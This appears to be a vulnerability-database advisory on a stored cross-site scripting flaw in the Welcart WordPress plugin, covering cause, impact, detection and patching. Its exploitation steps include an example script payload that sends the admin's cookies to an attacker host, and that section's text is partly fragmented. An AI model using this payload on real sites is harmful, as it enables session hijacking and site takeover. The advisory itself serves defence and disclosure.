
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2025-10651 is a Stored Cross-Site Scripting (XSS) vulnerability in the Welcart e-Commerce plugin for WordPress, affecting versions up to and including 2.11.22. The flaw exists in the order_mail setting due to insufficient input sanitization and missing output escaping, allowing authenticated attackers with Editor-level permissions or above to inject malicious scripts via the General Setting page. These scripts execute when an administrator visits the E-mail Setting page. It was published on October 22, 2025, with a CVSS v3.1 base score of 5.5 (Medium), as assessed by Wordfence (Wordfence, NVD).
The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). The order_mail field in the Welcart plugin's General Setting page fails to properly sanitize user-supplied input before storing it, and fails to escape the stored value when rendering it on the E-mail Setting page. An attacker with Editor-level access (or higher) can craft a malicious payload in the order_mail field; when an administrator subsequently loads the E-mail Setting page, the stored script executes in the administrator's browser context. The attack vector is network-based, requires high privileges, and no user interaction beyond the victim administrator's normal page visit (Wordfence, NVD).
Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of an administrator's browser session, potentially enabling session hijacking, credential theft, unauthorized administrative actions (such as creating rogue admin accounts), or further site compromise. The scope is changed (S:C), meaning the impact extends beyond the attacker's privilege level to affect the administrator's session. Confidentiality and integrity are both rated Low impact, with no direct availability impact (Wordfence).
order_mail field, enter a crafted XSS payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> and save the settings./wp-admin/admin.php?page=usces_general or similar) from Editor-level accounts, particularly containing script tags or encoded JavaScript in the order_mail parameter.order_mail field of the Welcart plugin's settings in the WordPress database (wp_options table).Users should update the Welcart e-Commerce plugin to version 2.11.23 or later, which addresses the insufficient sanitization and missing output escaping in the order_mail field. The fix is available via the WordPress plugin repository changeset (Plugin Changeset) and the vendor's official release notes (Welcart Advisory). As a temporary workaround, site administrators should restrict Editor-level access to trusted users only and monitor the Welcart General Settings page for unauthorized changes until the patch is applied.
Wordfence reported the vulnerability and published it to their threat intelligence platform on October 22, 2025, and included it in their weekly WordPress vulnerability report for October 20–26, 2025 (Wordfence Weekly Report). The vulnerability received standard coverage from automated CVE tracking services (VulDB, Vulners, CIRCL) but no notable independent researcher commentary or significant social media discussion was observed.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."